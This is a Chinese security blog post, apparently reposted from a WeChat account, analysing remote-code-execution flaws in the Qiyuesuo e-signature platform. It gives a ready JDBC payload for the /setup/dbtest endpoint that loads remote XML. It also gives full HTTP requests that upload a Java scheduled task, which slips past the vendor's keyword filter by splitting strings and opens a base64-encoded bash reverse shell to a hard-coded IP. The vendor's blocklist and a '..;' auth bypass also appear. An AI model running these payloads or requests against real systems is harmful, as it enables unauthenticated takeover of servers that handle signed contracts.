契约锁记录
题记
正在客户现场猛猛搬砖,然后人工智能监测平台发现长亭发的漏洞预警
漏洞预警有几个重点关注一下
漏洞类型:远程代码执行
权限认证要求:无需权限
用户交互要求:无需用户交互
系统配置要求:默认配置
缓解方案:如非必要,避免将该系统管理端HTTP服务直接暴露在互联网
修复方案:契约锁官方已发布安全补丁,请及时更新安全补丁,下载地址:https://www.qiyuesuo.com/more/security/servicepack
文章中给的漏洞复现图如下
具体分析
由于没有直接公开poc,漏洞复现打码了,但是通过上面信息,可以如下poc相关信息:
漏洞利用GET访问,并且不需要鉴权,影响的是电子签约管理控制台,具体漏洞细节可以从补丁官方查看。
看了下自己之前写的契约锁漏洞分析,补丁包里直接就有具体的接口地址,把之前的分析记录也附上来吧,放在最后了。
20250611这一次下载的补丁包如下,漏洞接口放在了security.rsc,使用了RSA加密
解密后如下
一共48个漏洞接口
前面知道漏洞poc直接是get请求,并且不需要鉴权,直接扔burp里就行,发现只有/setup/dbtest返回是200,有返回内容并且不需要权限。
找到接口后,定位到具体类com.qiyuesuo.setup.SetupController.dbtest
参数为db、name、host、port、username、password
接着调用this.setupService.check
最终调用,看到这就知道漏洞怎么利用了,直接打jdbc即可
支持这些jdbc
相关jdbc依赖具体版本如下
最终POC
应该只能打PostgreSQL(CVE-2022-21724)
/setup/dbtest?db=&name=&host=&port=&username=&password=
payload如下
jdbc:postgresql:///?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://xxxx/x.xml
目标来解析xml即可
搞好文章直接回家打游戏了,然后发现分析文章已经有大哥发了,发的太快,太卷啦
附上以前写的分析
补丁包1.0.6 2023-08-17
漏洞uri
/api/template/param/edits /template/param/edits /api/template/html/add /template/html/add /utask/upload /api/code/upload /api/assets/loadResource /api/sys/config/storage/custom/upload /sys/config/storage/custom/upload /sys/config/convert/upload /api/message/strategy/upload /message/strategy/upload
电子签约管理控制台后台计划任务
后台直接执行java代码,类似xxljob后台的代码执行
后面对执行的代码增加了过滤
4.3.4.20230220该版本过滤如下
后面版本更新过滤如下
return sourceCode.contains("Runtime") || sourceCode.contains("Process") || sourceCode.contains("ProcessBuilder") || sourceCode.contains("SpelExpressionParser") || sourceCode.contains("invoke") || sourceCode.contains("Class.forName") || sourceCode.contains("newInstance") || sourceCode.contains("ClassLoader") || sourceCode.contains("Constructor") || sourceCode.contains("ObjectInputStream") || sourceCode.contains("ScriptEngine") || sourceCode.contains("parseExpression") || sourceCode.contains("getDeclaredField") || sourceCode.contains("setAccessible") || sourceCode.contains("getMethod");
通过拼接字符串绕过
/api/code/upload
接口代码执行
POST /api/code/upload HTTP/1.1
Host:
Content-Length: 1187
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhvzJ4LxAcrBtxpvf
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SID=0a7ac03a-0ef4-4fff-82b4-55fd47e6d408; OSSID=b487bd83-561b-4562-8c46-794f79264a19
Connection: close
------WebKitFormBoundaryhvzJ4LxAcrBtxpvf
Content-Disposition: form-data; name="type"
TIMETASK
------WebKitFormBoundaryhvzJ4LxAcrBtxpvf
Content-Disposition: form-data; name="file"; filename="reshell.java"
Content-Type: application/octet-stream
package com.qiyuesuo.utask.java;
public class TestTimerTask extends BaseTimerTask {
static final long serialVersionUID = 1234567L;
public void execute() {
//在此写相关的业务实现代码
try {
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", "ping dnslog.cn"} : new String[]{"/bin/sh", "-c", "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNC4zOS84MDg5IDA+JjE=}|{base64,-d}|{bash,-i}"};
Class.forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",String[].class).invoke(Class.forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(Class.forName("java.l"+"ang.Ru"+"ntime")),(Object) var12);
} catch (Exception e) {
}
System.out.println("**********************打印测试**********************");
}
}
------WebKitFormBoundaryhvzJ4LxAcrBtxpvf--
POST /api/utask/create?_=1693469860994 HTTP/1.1
Host:
Content-Length: 257
Accept: application/json, text/plain, */*
I18N-Language: zh_CN
timestamp: 1693469860995
nonce: ca8bd594-ebc4-45fb-91fa-bf81c84b3fc8-da87a440-47d6-11ee-9eb8-5dbb9ebbe64a
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SID=0a7ac03a-0ef4-4fff-82b4-55fd47e6d408; OSSID=b487bd83-561b-4562-8c46-794f79264a19
Connection: close
{"creater":"管理员","taskName":"test","description":"","type":"FIXTIMEDELAY","cron":"{"delay":1000,"cron":"","total":1,"executed":0,"nextTime":"2023-08-31 16:17:20"}","codeId":"3134780229295555416","timerCategory":"CUSTOM","status":"START"}
电子签署平台模版编辑处
代码执行
通过..;绕过权限校验
监制丨船长、铁子
策划丨Cupid
美工丨molin
原文始发于微信公众号(千寻安服):契约锁记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论